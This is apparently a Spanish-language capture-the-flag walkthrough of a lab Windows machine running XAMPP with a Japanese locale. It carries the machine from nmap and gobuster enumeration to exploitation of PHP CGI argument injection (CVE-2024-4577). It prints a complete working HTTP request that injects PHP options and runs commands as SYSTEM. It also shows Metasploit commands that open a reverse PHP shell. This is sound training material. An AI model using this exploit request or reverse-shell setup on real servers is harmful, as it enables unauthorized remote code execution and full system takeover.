Enumeración de servicios
El escaneo identifica una máquina Windows con Apache en HTTP y HTTPS, SMB y WinRM. La aplicación web utiliza XAMPP, por lo que necesitamos determinar tanto su versión de PHP como la configuración regional de Windows antes de evaluar vulnerabilidades del modo CGI:
❯ nmap -sCV -p 80,135,139,443,445,5985,47001,49664,49665,49666,49667,49668,49670 -oN 02-targeted.txt 192.168.1.12
...
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd
|_http-title: Free Website Templates
443/tcp open ssl/http Apache httpd
445/tcp open microsoft-ds?
5985/tcp open http Microsoft HTTPAPI httpd 2.0
...
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windowsIdentificación de XAMPP y su locale
La enumeración de contenido descubre /xampp/.version. El archivo revela XAMPP 8.2.12 y LAN=日本語, es decir, un entorno configurado en japonés:
❯ gobuster dir -u 'http://192.168.1.12/xampp' -w ~/Documentos/wordlists/SecLists/Discovery/Web-Content/quickhits.txt -r
...
/.version (Status: 200) [Size: 20]
...
❯ curl http://192.168.1.12/xampp/.version
8.2.12
LAN=日本語Explotación de PHP CGI Argument Injection
La combinación de PHP CGI sobre Windows y una página de códigos vulnerable hace aplicable PHP CGI Argument Injection (CVE-2024-4577). Durante la conversión de caracteres, %ad puede interpretarse como un guion normal; de esta forma la URL introduce opciones -d que habilitan allow_url_include y establecen auto_prepend_file=php://input. Como consecuencia, PHP interpreta el cuerpo de la petición como código:
GET /php-cgi/php-cgi.exe?%add+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input HTTP/1.1
Host: 192.168.1.12
Redirect-Status: 200
Content-Length: 26
<?=`"whoami"`; exit();HTTP/1.1 200 OK
...
nt authority\systemLa respuesta a whoami confirma ejecución remota y muestra que Apache se ejecuta como NT AUTHORITY\SYSTEM.
Obtención de una shell estable
Para evitar enviar un comando distinto en cada petición, usamos el módulo de Metasploit correspondiente y configuramos una carga útil PHP inversa:
msf6 > use exploit/windows/http/php_cgi_arg_injection_rce_cve_2024_4577
msf6 exploit(...) > set payload php/reverse_php
msf6 exploit(...) > set rhosts 192.168.1.12
msf6 exploit(...) > run
[+] The target is vulnerable. Apache
[*] Command shell session 2 opened ...
whoami
nt authority\systemLa nueva sesión vuelve a confirmar el contexto SYSTEM, por lo que no es necesaria una escalada de privilegios adicional. Navegamos al escritorio de Administrator, donde se encuentran ambas flags:
cd C:\Users\Administrator\DesktopRecuperamos las flags y damos por completada la máquina.